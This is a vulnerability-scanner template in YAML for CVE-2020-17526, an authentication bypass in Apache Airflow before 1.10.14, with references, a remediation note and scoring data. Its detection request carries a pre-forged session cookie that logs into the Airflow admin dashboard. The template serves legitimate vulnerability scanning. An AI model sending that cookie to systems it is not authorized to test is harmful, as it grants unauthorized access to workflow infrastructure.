63 lines
2.3 KiB
YAML
63 lines
2.3 KiB
YAML
id: CVE-2020-17526
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info:
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name: Apache Airflow <1.10.14 - Authentication Bypass
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author: piyushchhiroliya
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severity: high
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description: |
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Apache Airflow prior to 1.10.14 contains an authentication bypass vulnerability via incorrect session validation with default configuration. An attacker on site A can access unauthorized Airflow on site B through the site A session.
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remediation: Change default value for [webserver] secret_key config.
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reference:
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- https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
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- https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E
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- http://www.openwall.com/lists/oss-security/2020/12/21/1
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17526
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- https://lists.apache.org/thread.html/r466759f377651f0a690475d5a52564d0e786e82c08d5a5730a4f8352@%3Cannounce.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 7.7
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cve-id: CVE-2020-17526
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cwe-id: CWE-287
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epss-score: 0.08372
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epss-percentile: 0.93745
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cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: apache
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product: airflow
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fofa-query: Apache Airflow
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tags: cve,cve2020,apache,airflow,auth-bypass
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http:
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- raw:
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- |
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GET /admin/ HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /admin/ HTTP/1.1
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Host: {{Hostname}}
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Cookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- "contains(body_1, 'Redirecting...')"
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- "status_code_1 == 302"
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condition: and
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- type: word
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part: body_2
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words:
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- "DAG"
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- "Recent Tasks"
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- "Users"
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- "SLA Misses"
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- "Task Instances"
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condition: and
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# digest: 4b0a00483046022100bf01a57755ed9e493e34bf96dc4170d0af4fd56448e4c1cb54e1a332db7cfc10022100c03585d1385ad2b5d860fb5cdd449cd0ed4c6e764bd4e8fcfdc649e7cf437a5b:922c64590222798bb761d5b6d8e72950
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